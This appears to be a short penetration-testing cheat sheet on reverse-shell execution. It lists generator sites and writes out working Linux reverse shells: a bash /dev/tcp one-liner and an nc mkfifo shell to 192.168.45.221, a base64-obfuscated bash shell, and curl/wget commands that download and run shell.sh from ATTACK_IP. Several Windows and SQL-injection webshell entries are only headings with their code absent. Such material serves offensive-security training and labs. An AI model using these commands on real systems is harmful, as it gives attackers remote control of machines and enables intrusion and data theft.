githubEdit

Reverse Shell Execution Methodology

1) Resources to generate reverse shells:

  1. https://www.revshells.com/

  2. https://addons.mozilla.org/en-US/firefox/addon/hacktools/

2) Most chosen reverse shells to execute

Linux

Bash TCP reverse shell

/bin/bash -i >& /dev/tcp/192.168.45.221/80 0>&1

nc mkfifo shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.45.221 80 >/tmp/f

Base64 encoded shell

base64 revshell.sh
echo "BASE64_SHELL" |base64 -d | bash
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjIzNy84MCAwPiYx}|{base64,-d}|{bash,-i}

Curl shell from remote server

curl http://ATTACK_IP/shell.sh | bash

Manual execution

wget http://ATTACK_IP/shell.sh -o /tmp/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh

Windows

In-Memory PowerShell execution

Base64 encoded powershell

Netcat (wget)

Netcat (curl)

3) Tips and tricks

Encoding tool: https://gchq.github.io/CyberChef/

If interacting with an HTTP request to try to execute a reverse shell, always URL encode (characters too) for the browser to interpret your input properly

mkfifo shell

SQL Injection webshell write (Webroot might vary! Try to check a phpinfo.php file if you have access to determine the webroot of the server)

Original:

Encoded:

Last updated